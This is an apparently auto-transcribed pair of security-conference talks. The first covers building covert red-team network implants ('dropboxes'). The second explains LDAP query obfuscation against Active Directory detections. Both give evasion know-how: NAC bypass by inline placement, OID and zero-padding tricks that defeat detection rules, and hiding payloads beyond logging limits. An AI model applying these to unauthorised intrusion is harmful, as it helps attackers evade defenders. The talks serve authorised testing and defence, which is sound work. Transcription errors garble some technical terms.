and I don't have a lot of money but I got a lot of time so or maybe you have a lot of money and no time to fill that bucket up, get your box working. Um generally no we all we're all busy so how much time can you all lot to like all the stuff it adds up just the research trying to figure out what hardware should I buy uh keeping you know software up to date actually putting these things together how many do you need the backend infrastructure for all this stuff uh it's all just a time sync so how much time do we have to get this thing up and running and make a

like a realworld functional device something that you deploy out in the field. And that's where like the kind of like the third option comes in here. How much crap are you willing to deal with? More importantly, since like 57% of like red team is is team, how much crap are your teammates willing to deal with? Because we've all like made stuff and like I think this is cool and it works and I know how it works because I've made it. And then you show it to someone, they'll have, I have no idea what's going on. It seems like you built a nightmare box. And now you want me to go out in the field and try to use your

your your disaster, the world's ugliest baby to get the job done. Uh so what is your personal budget for annoying [ __ ] What is your team's budget for that? Um, so if you if you make something that works but is so annoying to use and almost impossible to maintain that uh everybody hates it and they never actually want to use it, you don't really succeed in the task of anyone. If you've had a situation like I have where you just get so annoyed trying to make this stupid thing work, the goddamn computer that you never actually finish the project and you're like, "Let's just shove you into the pile of never finished projects." Uh, yeah, you've also blown that

budget. Welcome to the club. Here's an important uh 100% factual pie chart. 90% of hacking easily is just trying to get the goddamn tools to work. And that's because most of the tools for hacking are made by hackers. And let's be honest, we're not the greatest at at building stuff. If we were, we'd be like engineers or something. Uh 10% of it is finally actually getting your job to get the hacking done. That's the the it's all kind of fun, but that's the the actual fun part. Uh not not shown here. Uh doing the actual report for your penetration test. That that time is gone, my friend. Um penetration testers hate writing reports. If you've never

had to deal with uh like we just become the most annoying whiny punks in the world, I will do anything. I will paint my house rather than write a report for like the coolest, funnest hacking I've ever done. And they're like, "Can you write that down?" I'm like, "God, no, I can't." H I could literally stick this this slide into any talk and I think it'd still just be relevant. Let's talk a little bit about hardware. What kind of decisions do we need to make uh when we start looking at what hardware we want to use? Um, just like size. How big is this thing? What does it look like? Does it look weird? Does it look interesting? Does it

Does your hardware look dangerous? Is is like circuit boards showing, wires hanging out of it? Is a bomb squad going to be called when someone sees your hardware and like this red team got real serious real quick? Uh, will it get the job done? like is it based off of your known level of effort and how hard your co-workers work at their job. Uh can it can it handle the workload? Um and a lot of this it will even depend on what type of work you're looking to have it do. Some testers like to test from the device like remotely log into it and they'll run tools locally and they'll test whatever they're looking at. Um, in other

situations, people like to just kind of take all the they'll they'll run everything locally and then they'll just shove it through an SSH tunnel or some sort of tunnel, whatever tunnels you like. I'm not going to tell you. Uh, and they'll just we'll just use this to proxy all of our traffic into the environment. Certain tools work well with that, other ones less. So, it's kind of a personal decision, which is largely what we're talking about anyway. So, will this box handle like five testers logging in and each one's like, "You know what? I haven't run in forever. Metas-ploit. I'm going to fire up my own instance of that." And next thing you know, all of

your processors being used by Ruby for some reason. How much do these things cost? Um, some of the stuff you look out look at out there, um, like do you need a lot of these things? Can we buy them at scale? Um, is it fancy but expensive. Is it built to do something else, but you're like, I think I can make that thing do what I want it to instead? Um, is it going to handle the real world use that I want to put it to? Um, will it what architecture is it running? Is this an ARM processor? Is this uh an Intel based processor? Um, and then is it easy to use? uh specifically like everything's easy

to use at home with like all of your tools and well lit and plenty of time to do stuff. Is it easy to use if you're building like a red team box for an operator in in you know at 3:00 in the morning when he's laying underneath somebody else's desk and you're like, "Oh yeah, you need to you need to hit the reset button in order to make that that particular thing work." And they're like, "Where's the reset button?" I'm like, well, you need a a screwdriver to open up the case and take it apart a little bit and then there'll be a little reset button you can press with uh with like a safety pin and it'll be like, I

have none of that [ __ ] with me. Why did you give me this terrible box? So, is it easy enough to use? What are options? What what can we actually use kind of stuff here? Uh, this is just kind of like the elephant in the Dropbox room. Ah, the delicious Raspberry Pi. Uh, everybody, does anybody not own a Raspberry Pi? Not trying to call you out. I mean, sure. Um, yeah. So, everybody's got one pretty much. Uh, and honestly, they've gotten a lot better. When I started using Raspberry Pi uh as a Dropbox, I did not like it because they were kind of flaky. Uh like you plug in it, you know, it's up and

running and you plug in something in the USB port and it reboots kind of flaky. Not great. Just the voltage drop would hit it. Uh I got tired of playing the game like did they find my box or did it just break again? Uh and you know sometimes getting these things can be difficult. Uh, obviously the Raspberry Pi, very popular. So popular there's clones. Uh, oh, this one's an orange pie. Uh, there's banana pie out there. What are the, you know, what are the trade-offs with this kind of hardware choices? The orange pie has additional features and and same form factor usually as as the official Raspberry Pi, but the manufacturers will just cram additional fun stuff into there. So,

like this will handle 5 GHz wireless as opposed to just 2.4. Neat. Who's making the Orange Pie? Are they going to be around for It's just some company. I mean, they're all just some company in China probably. But like, are you going to be able to get support longterm um for this this alternative little device? What about this one? Is it still Yeah, it's it's still just a Pi. Uh, a number of years ago, PI came out with a compute module, more of like an IoT level Pi where it's here's a Pi with none none of the bells and whistles. It is just a little board and you can pop it into whatever you want. And this is what I've been working

with most lately. Uh, it is a uh a compute module case where you just whatever Raspberry Pi comput, you pop it in there and uh the functionality, you know, there's built-in Wi-Fi. It has dual Ethernet ports, which is something I tend to like in my dropboxes because when you're red teaming, there's certain situations where you don't know what you're going to find uh in the environment you're going into. You got to go loaded for bear. You got to be prepared for the most secure things that you can possibly run up against and still try to overcome. And so when I started looking for Dropboxes to do that job, I wanted things that had dual Ethernet ports

because if you run up to 802.1x Knack controls on the wired LAN, your attack is essentially a physical man in the middle where you place a box like this in line with uh a legitimate system on the network. some software shenanigans take place and then theoretically you're able to operate and test on that network without the port just turning off and you know the cops showing up. So the fact that I can find a little case where this you know ends up being smaller than just the regular Raspberry Pi that only has one Ethernet. Can you use like a USB Ethernet and just plug it in and like yeah of course but it's bigger. It looks kind of janky. So, uh,

I like this little one because it has what I want in the smallest, least suspicious looking form factor, uh, that I've come across so far. But maybe you're just like, "Hey, I hate ARM architecture. I'm super mad at them and I don't want to use them." That's fair. Uh when I switched from the Raspberry Pi, I started looking for for additional hardware, something Intel based, something with a bit more power, a bit more reliability, came across um this box. This is this thing's old. I don't use it anymore. Um it's called the Fitbit. It's made by Fit PC. It uses like laptop memory, laptop um hard drive, uh option. It's built-in Wi-Fi. It has not visible in this one.

There we go. Uh, dual Ethernet. I was like, "Oh, yeah. Let's get this." And honestly, it worked great as a Dropbox for a number of years. It was cheapish. It was cheap enough for my boss to let me buy like four or five of them and, you know, test them out and use them as the team. Uh, it was small enough I could just like grab it and stick in my back pocket. Intelbased CPU, the options, the dual Ethernet port, so if we did run into 802.1x, we're all set. Um, about the only complaint I was getting from the team was the thing would get hot cuz it's passively cooled. And so the extra big heat sink that's not

stock. They give you the the the low profile one from the getso. And so um, how hot would it get? Uh, not like burn you, but uncomfortable to hold. Yeah. Um, and then they're like, "All right, well, where are we sticking these things?" Cuz I've taken them and like, "Well, they'll we're going to shove this this is a a a dusty fabric cube wall and like behind some guy's computer underneath a whole bunch of stuff and uh like it'll probably be fine, but uh setting fire to the building is not the preferred way to kind of like wrap up testing." So, it wasn't something I'm looking to use anymore. Uh, lately I've been looking more at I've been using this

Zema board. Uh, one of my buddies showed it to me. I'm like, "Oh, dual Ethernet. Sweet. I like that." It's still cheap. I put this picture there and then they're like, "Hey," they sent me an email like, "We're releasing like version two." And I'm like, "Sweet. I am not updating the picture." There's a newer version coming out. Looks pretty much the same way. Passively cooled still. um less options. Like it comes with the memory and the the the storage space that it has, but generally for testing, like it's still getting the job done. And I like, of course, the Ethernet ports. They also make another little device. It looks like the old school Sony Walkman called the Zema

Blade. It's still cheap. It's even newer. You can stick your own RAM in there. um only has one Ethernet port, but sometimes you don't need to. And this is a little bit like I'll use this for penetration testing where I don't have to worry about bypassing the act. I can just be like whitelist my MAC address, please. Should you use those things? I don't know. Maybe none of that crap's going to work for what you need it to do. Maybe you need the beast that someone else built. Um, there's so many stupid options out there. If you're looking for stuff that won't get noticed, won't get picked up. If you start looking in like the the IoT

devices space and the hardware options out there that are just like here's a little box and you plug it in and it it does something. So much stuff. They may not want to sell you just one of them depending on where you're shopping, [Music] but you know, it's a little bit of the fun. You get to go out, find something that's going to fit your testing goals, um that's going to fall within the budget that you have. Uh and if if you're doing this for your job, is this a corporate thing? 100% use the opportunity to just try to pick something because it looks cool and you want to play around with it and you

think you can like get this passed and expensed and not have to pay for it yourself cuz I do that all the time and uh it works great. Oh god, that's a lot of words for one of my slides. Software stuff. We're going to dive deep into literally none of this. Software decisions that you make honestly will just have uh a lot in common with software development, which is where I stole this li list from. When I'm building a box, do I do I like run through this as a checklist? No. It's things that you kind of have in the back of your head like you push one, the other one's going to, you know, get

pulled a bit. the flexibility, the cost, all these things are decisions that you're making. But unless you're you're like got a hypersp specific thing that you're looking to build, you know, generally your options are going to be what's out there and available. Um, starting at at just the base OS layer. Um, which which operating system do you want to use? Well, yeah, it's it's probably going to be Linux. Anybody here like to use like they're like a Windows penetration tester? Like the you not not attacking Windows but using window? It's it used to be like impossible pretty much. Uh but there's stuff and tools. There's a whole, you know, Windows subsystem for Linux now. Um as far as the more common options

though, uh a number of things like honestly most of these are just Debian. Um, but what's going to run on your architecture? What's going to work for the job that you need to get done? Uh, do I just stick Cali on everything? Yeah, cuz I'm like a weird nerd and like I'm like, "Oh, I'll just run Cali on it. That'll work." And you know what? A lot of times that does not work. Uh, I ran I took Cali uh and their their Raspberry Pi image and I stuck it on that little compute module box and uh I was like, "Oh, I'm going to I'm going to plug in this new Wi-Fi card I had cuz I wanted

to do some Wi-Fi work on it." And uh and like five hours later, I realized like it's not gonna happen because the Cali kernel for Raspberry Pi was like several versions behind like what the modern like Raspberry Pi was running and like it was not supported and I was like can I make it be supported and that was a dumb decision. I should have just gone with like Rasbian or something and gotten it working out of the box. So hacking uh the decisions here, you know, what's going to run in your hardware? What does your team like to use? What are they used to? What are you comfortable with that drives these decisions much? Aside from that, yeah, I

stuck Windows way down here just in case someone is like, "But I use Windows." It's fair. Some more of the fun interesting stuff as far as software considerations. some custom persistence scripts or just like user interaction scripts. If you're building a box for penetration testing, um, frequently what will happen or what happened in the past is as a tester, you would ask the client and you say your network is it is it static IP addresses or DHCP and like you should know that, right? Person who's paying for this testing. uh they don't or they'll tell you the wrong one and like crap I configured it one way and now I have to send it out uh

a completely different way. So software in there that lets you make those sorts of changes to uh to whatever running configuration you have whether it's for your operators or if it's for your clients to make um do you want to run virtual machines on your stuff? What kind of hypervisor do you want to use? Uh the remote access options there's there's a lot. Um is it just OpenVPN, Tailscale, WireGuard, something like this? There's already plenty of boxes on the client's network that that don't talk to you. Uh the idea here is to get one that does. So which option are you going to go as far as um having it talk to you? Knack bypass options

uh do you think you have to deal with? There's some software on GitHub, uh, Doolos Cloak, I believe it's called. At the end, I'll have a slide with like a GitHub of these slides and all the stupid stuff I mentioned as far as hardware and software options. Um, so we can go in that. Uh, do you want to use a particular C2? Does your team like using Mythic? Do they like using Sliver? Do they want to use your box as like a backup um, uh, server for that? if whatever other outbound communications they have kind of fail. Um, encryption, we don't want to send our clients um or or we don't want to have our secrets just available to whatever

blue teamer finds the stuff running out there, right? So, of course, we want our box to be encrypted, but it gets tricky because all right, so you have your boxes encrypted and it boots up and it says like, "Hey, type in your password to finish booting up." and and decrypt the work stuff. Um, and your red team are lying underneath the desk and be like, "You want me to do what?" I don't have a keyboard or monitor or stuff. So, you need to have an option for having your stuff encrypted, but decryptting it in a way that is usable in the field. Um, is it going to be a UB key? is it there's a a project called crypt my pi

uh that has a number of options including stuff I've used before where like all right it it starts booted up and then it spins up an access point wirelessly that you can connect to or rather it'll connect to an access point that it knows and then you can log in with a specific SSH key that doesn't get you anywhere but then works as the password to finish up the rest of the boot process and you're like ha try to figure that [ __ ] out blue team and then they don't care. They never care. Uh most importantly, whatever whatever janky random tools your team likes to use, in-house built stuff, stuff they found like, oh, here's a proof of

concept off of GitHub, it probably does what it's supposed to do and doesn't steal a whole bunch of data or something. uh getting all those up on your box, getting stuff working beforehand, communication decisions you need to make. I don't know why I put a bunch of dongles on the screen. Uh a lot of this stuff is kind of built in. First off, can we just shove it over the Ethernet? Like we're plugging it in anyway, right? Maybe. And honestly, back in the day, yeah, you could you could just SSH straight out of someone else's network. They didn't care. Um, or not. Uh, wireless. Uh, cellular. I like using cellular because it works pretty well

for what I want it to do. Bluetooth. um common things except if you run it over the network, someone's going to see that eventually. They're going to notice what's this weird thing talking on my network. Um in the wireless side, there's trade-offs. Uh generally it'll work out that the higher the frequency the thing's running at uh as far as wireless transmission uh the more data it can shove through but the shorter range that you'll get out of it. Um we've all gotten pretty used to to the effective range of of Wi-Fi. Um but also it's it's easy to you know monitor Wi-Fi. Everyone knows about it. Bluetooth in the same frequency range [Music] um might get you caught. If you're going

to run cellular, well, we got some additional cost and hassle and and BS to go through because you're going to need a SIM card for that. Can you get like a burner SIM? Sure, there are things that's additional, you know, that's additional bits of your your your annoying [ __ ] budget budget coming out there. It's additional work and effort to do that. Do you think the blue team is going to be able to find your device and like take the SIM out and figure out who you are based off of the SIM? Is that something you're concerned about if they're making that level of effort? If so, then like yeah, you need to go through that level of opsec in

which case you probably should be like wiping your fingerprints off all the stuff. In any case, what other uh fun stuff am I am I am I running over? Do you guys want me to just stop talking and move on to the next thing? I'll I'll we'll burn through stuff quick. Some of the more fun stuff, the weird stuff that like sure we can use this for comms. Uh there's a new standard out there, Wi-Fi 802.11 ah. It works in a 900 MHz frequency range. It works like Wi-Fi. Uh but you get like a couple kilometers out of it on a good day. Specialized hardware need for it. Yeah. Um acceptableish throughput. Is it great? No. Is it, you know, better than

like Laura or or some of the other stuff? Yeah, I'm I'm liking it. I've been testing it out. Uh power line Ethernet. Not power over Ethernet, but weird power line Ethernet. Nobody's using this stuff. I kind of want to go to places and just plug one in in like the outlet in the parking lot just to see if someone has one plugged on in on the inside. But essentially this, you plug one in and you plug a network into it and it shves your internet Ethernet over power line inside your house or inside your office. So you plug in another one in somewhere that you can get to and you've got network access. Uh again in a 900 MHz

frequency range, these are tiny little radios made for drones. Drones need to communicate um data over a considerable distance. Um, and it needs to be lightweight and it needs to be, you know, a decent amount of data getting shoved through. So, these particular ones I had just with Linux, you're just like, "Oh, here's another device. I can just send commands through it." Fantastic. Uh, satellite. Yeah, I don't recommend that. Even if you're using satellite and you got um whatever the stupid thing is nowadays, you still need something to jump your device from like wireless to to the satellite to make that kind of happen. Uh Ziggb or Z-Wave, same frequency range, but less common. Will

it work? I don't know, maybe. Give it a shot. Uh Mocha. Mocha is another weird one. It uses coaxial cable which is people used to just have that in their house and then cable operators are like oh you need don't need to run wiring through your house just take you know the signal coming out of your cable modem and shove it through the coaxial cable and now you got network drops wherever you need them. Uh that'd be weird but I'm looking to try it out uh once I can figure out one of my offices that actually has it. Um Meshtastic. Anyone like metastic? it it has some pluses but a bunch of minuses as far as

like is anyone else using it um and the data throughput some other weird thing I don't know you're going shopping you're building stuff maybe you got something fun and cool that you think this will work in my environment um but who knows all right you made a bunch of decisions you uh found some hardware that you like you found uh dongles and adapters and it's doing all this cool fun stuff um and you're ready to go plug it in the client's environment. What does it look like? Oh, that does not look good. That you made you made a Christmas tree here. We just put some presents and yeah, no, we forgot about the obssec part. Um, we want these things to be

boring and nobody cares about them. How should it look? using one of the Z's Doom awards. One of my friends at Secure Works in this case um made a little custom 3D printed case for uh their little cellular hotspot uh and then like went through the hassle of finding like the right angle cables and and built this fairly boring looking Dropbox.

So, um I'm I'm short on time at this point. I would go in to like a number of times I've screwed up OBSC, which I'm happy to do um after I've I've finished this talk, but let's just say like so many times have I screwed up something you're like that was dumb and yes, I've done that. Um and and OBSC will it's it's trickier than you'd think it's going to be. Uh additional accessories to go along. Um, all fairly obvious adapters. Uh, bring them. You don't want to try finding like a a mini display port to HDMI adapter that that Zema board uses at like 3:00 in the morning from someplace. Bring all this stuff with you uh so it can work. Uh,

because it's going to break. Um, things you need to look out from like a legal point of view. I'm not sure the law is sorry in this country. Um, but in the United States at least, uh, like, hey, I have a little computer. I can hide it wherever I want. Can I record audio of like the big boss making decisions? For me, that's a crime. Like, yeah, you can do it. Of course, plug in the microphone, make the [ __ ] happen. Bad idea. Um, video is actually like if there's no audio and there's video, less of a crime, not a crime. Your mileage may vary, but people don't like being recorded secretly without their

knowledge. So, you're probably going to end up talking to human resources and, you know, looking for a new job. Uh, if you're playing some kind of wireless Bluetooth games like we're going to deoff people and and knock them off the network and stop people from doing work, not the greatest idea. If you're going to try to do something crazy like inject keystrokes into keyboard dongles because they're not encrypted and you can do that kind of stuff, um you're going to break some stuff probably. Are you going to get away with it? Maybe. But is it what you want to be doing? And finally, if you are doing a red team with a situation where you got

to break into a building and hide this box, make sure that you have like authorization for breaking into where you need to break into. Just because your client says like, "Yeah, I give you permission. Break into this data center and place a Dropbox." 100% they don't own that data center and they cannot give you legal permission to break in. And testers have gone to jail and gotten fired for that kind of stuff. So, um, just CYA on a lot of that. Uh, here's a recap of a bunch of stuff. We talked about all these things, but I'm out of time, so you're going to have to believe me. Next one. There's a big thanks [Applause]

And there's the uh QA out in the hall, I guess. Maybe QR code with GitHub. Um, other weird stuff that didn't make the official list, but I'm planning on poking around it and seeing where it goes at some point. So, thank you again, everyone. Um, and thanks for having me here at the business side. All right. Thank you uh Chris. I think you can take questions in the hall. Yeah. Yeah. Cool. Okay. Let's move on to the uh next talk. It's uh Daniel Bernan from Periso Security. Anyone else? Anyone hasn't met Daniel yet? I think we've all seen him around Pina by now. Um his talk is mal adaptive LDAP obiscation deopuscation and detection. He unveiled mal adaptive,

a groundbreaking research open-source framework that dives deep into aosiscap obiscated ALDAP abuse, revealing how adversaries manipulate directory queries and how defenders can detect them using advanced parsing detection rules and data science ready tooling.

All right, Daniel. Follow me. D Mita see any mir. Awesome. Uh, well, thank you so much. Uh, it's really an honor to be here. Um, there's a lot of familiar faces in this crowd. Um, uh, some faces I met the first time I visited Christina 6 years ago at the Christina hacker space. And so I just want to start by saying uh it's always a real honor to be here. Um in many ways when I come to the Balkans, it feels like a second home and that's only because there's a second family that's here. Um and also I'd say to people I've never met before, uh maybe this is your first time doing anything at a security conference. Um I

would say uh enjoy the journey. No one is an expert or even really good at many of the things that will be talked about today. And I think that's kind of the fun part. Uh it's like exploring music. you find the things that you like. You find new things that you like to listen to but would never dream of playing on an instrument, but you can still appreciate the artistry behind it. Um, and I think that's what makes humanity really beautiful. Uh, and so don't be overwhelmed, but just get excited about you could choose any of these paths to get good at. And hopefully whichever path you choose, it's something that allows you to really benefit other

people. Um, and so leaving them being better off after meeting you than they were before. And so hopefully that'll be the case not only with the the knowledge that's being shared today from this stage but also from the conversations you'll have the friends you'll make uh and all the great coffee you'll drink uh in that process. Uh so this talk is all about LDAP offiscation. Um and uh as I said my name is Daniel Bohannan. Uh people call me DVO for short. I'm from Atlanta, Georgia in the US. Um and I work for a company called Permiso. We are a cloud and identity uh startup security company. Um and uh it's really awesome to be here with uh so much of my

team uh in the room here today. Uh I was actually uh uh colleagues with Evan Pena at Mandant for 5 years. So it's really nice to see him and uh glad you're able to make it out to to Kosovo and Albania and it's nice to hang out together. Uh I'm a really big fan of open source tools. I kind of have an obsession uh with obiscating things. Uh and if you've never heard of that word, it's a hard word to say, even harder to do. But just think about it. There's many different ways in Albanian you could say hello, how are you cascisation is similar. You can take a language and offiscate the words or the

order, but the meaning is still conveyed in the same way. So we're going to do that today with uh LDAP in more of a code uh code kind of perspective. Uh I'm a huge coffee fan. Uh I love reading uh and I just love meeting people. Uh even though I'm an introvert, it's always nice uh to meet and learn from other people. Um I did not do this research alone. My research partner is not able to be here today, but her name is uh Sabaya Elazai or Sabi for short. Um and uh it was really fun to do this research together with her. She is from KS Albania. Uh currently living and working in Germany uh for a company called

Solaris. And uh Savi, if you're watching this uh Mirita and I wish you were here. So, I'm going to start with an introduction of kind of the landscape of LDAP uh and active directory. Uh we're going to do a a pretty maybe a mid-level overview of LDAP so you understand the protocol itself. And then we're going to spend the bulk of the time actually looking at offiscation related to LDAP and why it matters as a defender. Um and then I'm going to talk about the actual open- source tool that Sabi and I developed for this research. Um and and do a demo at the end of this. So um active directory or directory access protocol um DAP started

in the 80s. LDAP is the lightweight version. That's what the L stands for. Um that was developed a couple different versions between 93 and 97. There is the open LDAP open source uh version. What this research is focusing on is uh Microsoft's implementation of LDAP uh as defined in their active directory which they released in 2000. We chose this because it's the most prominent one in the marketplace. So in terms of numbers and volume, this is the one that has a lot of interest. It's a client server model. So the server side is the actual directory itself that contains all the information about your users, your computers, your conference rooms, all these uh all these

things. And then the client applications can use LDAP which is the actual protocol to request information from that server uh or to update uh information in that server. There have been a lot of really cool open- source tools uh that really uh focus on using LDAP as the mechanism for uh for transmission of information. Uh so Evan mentioned in the keynote blood hound that uses LDAP to retrieve the information from the active directory and then to put it into a nice graph database to find attack paths. Um power view is another one. Ping castle, there's some really good ones out there. From a defensive perspective, um what what do we what do we do? like what

options do defenders have when it comes to logging? Um, and here's where it's actually not a there's it's not a great place right now. Um, because of the volume of data, um, LDAP logs are actually not they don't just sit inside of Windows event viewer uh, like other EVTX log files. Um, the really the only options in terms of like production ready is um, Microsoft Windows Defender for Endpoint has this visibility. I know some other EDRs like CrowdStrike have this visibility that they don't expose it in a raw format for you to search for, but they do have detections built around it. Uh when Sabi and I did this research, uh we used Silk ETW, um which

is a great way to use event tracing for Windows to get that data. That's what the ETW stands for, but this is not a productionready means of getting this information, but it's what we chose to use in a lab environment because the data uh uh is the same data source that these production systems will use. Now, let's say that you have some of these production data sources. To even get this information in the first place, it's really important to look at the difference between the client side LDAP logs and the server side LDAP logs because there are some significant differences between them. And especially if you're a red teamer, if you're doing anything with LDAP, uh what you really

want to realize is all this visibility I just talked about on the client side depends on the fact that you're calling that API through WLDAP. uh 32.dll if you use another means of uh issuing the LDAP request there is zero visibility on the endpoint unless you have some endpoint network visibility. Um so the team over at Falcon Force uh released the tool a year or two ago uh which was basically realizing you can issue uh you can get LDAP or active directory information through SOAP requests and so they released uh this kind of SOAP version uh of blood hound that has complete like like radio silence on the endpoint logs when it comes to LDAP. So serverside logs are

important but they're they actually kind of normalize a lot of data. So some of the offiscation techniques I'll be talking about are normalized in the server side logs but it is still important uh to know that those exist. So this presentation is going to be a a speedrun through all these elements of the LDAP protocol how it works and then some really fun and hopefully colorful and interesting ways that it can be offiscated. Um this is this research Savi and I spent over 2,000 hours on which is too much time to spend on one topic I assure you. Um, and the name maladaptive comes from the fact that the word maladaptive is typically something that can't be it's kind of rigid. It

can't be changed or twisted. And originally we thought LDAP is a pretty simple query language. How could it really be manipulated a lot? And hopefully I'll convince all of you through this talk. There's actually quite a bit of manipulation and it actually is quite uh adaptive. So with that, let's look at the protocol itself. Um, this is the RFC 4511. Uh we won't go into too many dry details of the RFC, but suffice it to say, there are many different elements of the LDAP protocol. These are the four that we're going to spend our time on. Um the base object says where in the directory do we want to actually uh search for this information. The scope

says how far throughout the directory do I want to search for this information. The filter is the main part. This is typically what people think of when they say like LDAP query. It's it's the actual filter logic itself. And then the attribute selection is kind of like a select statement in SQL. It says for whatever objects you get, what properties from those objects do I actually want back? And so this is a great way if you're a developer legitimately using LDAP, uh you're probably familiar with all these so that you're only retrieving the information that you need to reduce the the bandwidth over the wire. From an offiscation perspective, our primary focus is offiscation capabilities against the filter because

that's where most of the specific logic is. And to be fair, a as a defender, this is also the primary detection focus. Most companies are looking only at the search filter, but there's a lot of value, as we'll see throughout this presentation, there's a lot of value in some of the default um ways that the attribute selection is defined as well as the base object. And so, a lot of the offiscation techniques we'll talk about that apply to the filter, you can actually really selectively apply to the attribute selection in the base object as well. So we'll we'll cover that towards the end of the presentation. So let's look at the filter. The filter is comprised of many

different tokens. Um part of this research involved us writing a complete groundup tokenizer for the LDAP query itself. And all that means is you have a huge string like one big string that is this LDAP query. Tokenization is saying all right the first part of this string is a parenthesy that is the start of a group. Then we have an attribute. Then we have a comparison operator. Then a value. And it it's it's how you structure it's how any language parser works um when uh when a language is being compiled or when you're typing and you have autocomplete and stuff like that. So these are all the required tokens for any LDAP search filter. And

then there are two more optional tokens. The boolean operator as well as the extensible match filter. Um the boolean operator uh can be and or and a not. The extensible match filter is quite an interesting um animal if I can almost say that. uh and it's it's a little uh unintuitive at first but basically it's a way this is the example of um uh an and um oper extensible operator. So this value number two actually represents a flag for this particular attribute. Um so this ultimately says the object is not disabled. I'm sure some red teamers in here have this stuff memorized. I know I don't. But just know that whenever you see these bitwise

operators, this is this number is representing different flags. And so you have to go to the documentation to figure out what this LDAP uh query is actually asking for. So now usually you don't just have really really small queries like this. You'll actually combine them with one of those boolean operators. So now you can look for any objects in the directory where the name equals sabi and the object is not disabled. So you can start to combine many different filters together. And ultimately this is all kind of written uh this is what we call a filter list. So these two filters are combined together to make a list of filters or a filter list. So when you see this

actually in logs just one really long string which again in this case is two individual filters which together produce a filter list and the whole string itself in the actual LDAP query is what we'll call the search filter. So um oh no I'm hilarious hilarious clippy. Okay, sorry about that. Um, so what we're going to do next, um, after Are you sure? It looks like you could use some help with crowd work. Jeez. Okay. Uh, Cliffy's got jokes. Um, oh, you do have jokes. I have trivia and jokes. Uh, I don't know. We could use some jokes, right? What do you call the biggest LDAP search request in history? Uh, I don't know what. 10 and a half megs. It's

trivia and a joke. Turns out that is the actual size limit for an LDAP search request, which is crazy when you think about a search like a query for information. But it actually makes a lot of sense when LDAP is also used to exchange information. So you're actually pushing data to Active Directory. If you have a large environment, 10 and a half megs, you could hit that pretty quickly. Now, as a as a redteamer, if you ever see really large data sets like this, you should immediately ask yourself, gee, out of 10 1/2 megs, how much of that is actually going to be logged for defenders? Uh, the answer is a bit scary. Not much of it. Uh, so sometimes

when we're talking about offiscation, it's just understanding what are the limitations of logging and can you just push beyond that and have most of your evil payload in the later part of that uh that query so it's not even logged in the first place. So, I'll leave that as an exercise for the uh for the red teamers in the room. So, now that we have a good quick understanding of the LDAP protocol and all those pieces, let's actually look at how we can start offiscating it. Um, and for the defenders in the room, this is going to get pretty dark, so hang in there. There's a light at the end of the tunnel. Uh, but it's it's going to get

it's going to get wild first. So, as we mentioned, the filter is our main focus of offiscation. Most of our time will be looking at this and then we'll apply some of those techniques to the base object and the attribute selection with a couple different genres of opiscation. Several of the things that we uh uncovered in this research uh were not documented anywhere. Uh and so whenever I'm talking about one of those things uh we'll have this little undocumented symbol up in the corner there. Um so those are typically they're usually the more fun ones. So we have this very simple example of the search filter and these are the seven different token types and we're going to focus on these

five tokens in this order starting with the attribute itself. So uh different ways we can offiscate the attribute uh for Microsoft's implementation of uh LDAP in active directory it is case insensitive which means that the word name we can actually change those characters. Now, this may seem really small, but there are actually defensive products that are case-sensitive in their searches and don't allow case insensitivity. So, know your tools as defenders and make sure that you're not missing an alert looking for lowercase characters when uppercase uh are allowed. Uh so, the casing is different. You can also write the attribute name like this. This is called object identifiers and the oid notation looks like this. It's all published um

uh in in their documentation to say who's the organization, where is it based, what class is it, etc. Um this one trick alone would burn most detections I've ever seen with LDAP. So if you're a red team running blood hound, look at what attributes are being used, Google the uh oid and just substitute that and you're going to you're going to win a lot just with that one trick. So let's say as defenders you go through and you figure this out and start to look for oid notation. How would you write a reax for this? Right? Numbers and dots, right? Well, not quite. Uh you can actually prefix it with oid dot. Kind of weird. Um some

official Microsoft uh tools do this but don't really talk about it much. You that's also case insensitive. And then one of the really cool undocumented things is in this notation, you can actually prepend zeros to every one of those octets. And you can prepin like hundreds of zeros to those octets. It's actually pretty crazy. So the really nice part is like it's cool to say our input can look like this but what really matters is for defenders what does this look like in the logs it looks exactly like you see here every offiscation technique we will talk about in the client side logs looks exactly like the input which is really really um a compelling reason for uh offensive

people uh to to dig into this stuff. Another thing is uh we have this feature called ambiguous name resolution. This is actually its own attribute. So if I want to look for name equals domain admins, hopefully there are some detections looking for these kinds of uh search filters. What we can do is actually instead of calling the attribute name, we can call a r ambiguous name resolution or we can even call its object ID um as well as some of the other offiscation tricks we showed. And what this does is based on the version of active directory, it will take your value in this case domain admins and it will basically plug it into these different attributes. And so

logically, it's actually going to turn it into a query that looks like this. It's not logged like this, but this is actually what happens. So most of these are the same input value of domain admins with a wild card at the end um wherever it is able to. And in this case, since we even have a space in the value, it's going to assume we're likely asking for a person's first name, last name, and it will logically add this additional set of information. Um, again, think of all the rules that a defender might write looking for interesting attributes. Do they ever look for the ambiguous name resolution attribute? It is a really, really good indicator of someone who knows there's

something somewhere in the environment named domain admins, but they don't know exactly which property it's in or they do know and just want to be evasive on how they're asking for it. Um, another undocumented thing here that's really cool on the last slide. Remember I said the input was domain admins and logically it's adding this wild card. So what if we wanted to do something like look for uh the curb tgt or kerose ticket granting ticket. Uh we could use the uh we could use the ANR. Um, but we could also just substring it and say I just want to look for ANR equals KRB because I know logically it will add a wild card to that and still

find curb TGT. What's really interesting though is if you explicitly put a wild card, it will not look at anything else after that search. So these last two searches are identical in terms of their actual implementation, but they're logged completely differently. Uh, so everything else after there is just garbage text to kind of throw people off. Um, if you don't want any of that wild card stuff that ANR provides, you can add a second equal sign. Um, and it will basically only look for the exact value match without any of that fuzzy matching stuff. Um, so interview for the first token which is the attribute token. We have casing offiscation. We have the whole world of object identifiers with

all the crazy zero prefixes. And then we have the ANR or the ambiguous name resolution which is really cool. And we have more clippy. All right. Do you know where else ambiguous name resolution exists? I don't know where. Microsoft. What is more ambiguous than resolving to rename your products every 6 months? Am I right? I I didn't know Clippy could tell Microsoft jokes. That's a It's a new world we live in. All right. Um, next one is the comparison operator. Most of the time, this is a simple equal sign. You also have the approximately equal to, which is tilda equals. Um, and this will remove some capabilities like the casing still doesn't matter, but wild cards

become non-functional. But this is still a nice trick if you know the exact value. But what we really want to focus on are these range operators. Greater than equal, less than equal. So let's say that we have something like this. We're looking for the attribute service principle name equals star. Uh, this is what we call the presence filter. And it says give me any object in the directory that has this defined, but I don't care what the value is, anything at all. Um, this is also a really interesting filter in and of itself. Why is someone looking for an SPN in an environment? So, if you have an attack tool that is doing this, what is another way you can logically

